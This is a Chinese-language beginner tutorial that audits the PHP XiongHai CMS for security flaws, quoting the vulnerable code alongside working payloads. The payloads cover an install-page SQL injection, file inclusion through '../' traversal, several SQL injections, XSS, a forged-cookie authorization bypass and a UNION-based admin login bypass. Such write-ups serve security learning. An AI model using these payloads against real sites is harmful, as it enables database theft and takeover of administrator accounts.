熊海cms代码审计(新手入门向)
字数 1029 2025-08-25 22:58:34
熊海CMS代码审计入门指南
目录结构分析
熊海CMS的主要目录结构如下:
──admin //后台文件
──css //css文件
──files //功能函数文件
──images //图片
──index.php //主目录文件
──install //安装文件
──seacmseditor //编辑器
──template //模板文件
──upload //文件上传目录
一、安装流程中的SQL注入漏洞
漏洞位置:/install/index.php
漏洞分析
- 代码首先检测是否生成了
InstallLock.txt文件 - 直接执行未经过滤的SQL语句,导致SQL注入
漏洞利用步骤
- 删除安装目录下的
installLock.txt文件 - 重新进入安装界面
- 在管理账号一栏输入payload
Payload示例:
1' extractvalue(1,concat(0x7e,(select @@version),0x7e))#
二、主目录文件包含漏洞
漏洞位置:主入口文件
漏洞代码分析
error_reporting(0);
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file;
include('files/'.$action.'.php'); //载入相应文件
漏洞利用
- 在CMS根目录下创建测试文件(如phpinfo文件)
- 通过
../进行目录跳转
利用示例:
index.php?r=../phpinfo
三、前台多处SQL注入漏洞
1. software.php漏洞
位置:files/software.php第13行
$query = "UPDATE download SET hit = hit+1 WHERE id=$id";
2. content.php漏洞
位置:files/content.php第19行
$query = "UPDATE content SET hit = hit+1 WHERE id=$id";
3. submit.php漏洞
位置:files/submit.php多个位置
漏洞点1:第66行
$query = "SELECT * FROM interaction WHERE( mail = '$mail')";
漏洞点2:第121-147行
$query = "INSERT INTO interaction (...) VALUES (...)";
漏洞点3:第176行
$query = "SELECT * FROM content WHERE( id= $cid)";
漏洞点4:第206行
$query = "SELECT * FROM download WHERE( id= $cid)";
四、XSS漏洞
1. 反射型XSS
位置:files/contact.php第12-15行
$page=addslashes($_GET['page']);
if ($page<>""){
if ($page<>1){
$pages="第".$page."页 - ";
Payload示例:
page=
2. 存储型XSS
位置:files/content.php中的评论显示部分
虽然评论内容被过滤:
$content=addslashes(strip_tags($content));
但昵称部分未充分过滤,导致存储型XSS。
五、越权漏洞
漏洞位置:inc/checklogin.php
漏洞代码
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;
}
漏洞利用
- 登录后台并访问某个功能页面(如
?r=newwz) - 退出登录
- 在cookie中添加任意
user值 - 直接访问之前的功能页面
六、后台万能密码登录
漏洞位置:admin/files/login.php
漏洞代码
$user=$_POST['user'];
$password=$_POST['password'];
$query = "SELECT * FROM manage WHERE user='$user'";
//...
if(md5($password)<>$passwords){
//...
漏洞利用Payload
用户名:
1' union select 1,2,'test','c4ca4238a0b923820dcc509a6f75849b',5,6,7,8#
密码:1 (md5值为c4ca4238a0b923820dcc509a6f75849b)
总结
熊海CMS存在多种安全漏洞,包括:
- 安装流程SQL注入
- 文件包含漏洞
- 多处SQL注入(前台)
- 反射型和存储型XSS
- 越权访问
- 后台万能密码
这些漏洞主要源于:
- 未充分过滤用户输入
- 直接拼接SQL语句
- 权限验证不严格
- 文件包含控制不严
虽然这些漏洞较为基础,但对于学习代码审计思路非常有帮助。在实际审计中,应重点关注用户输入点、数据库操作和权限验证等关键环节。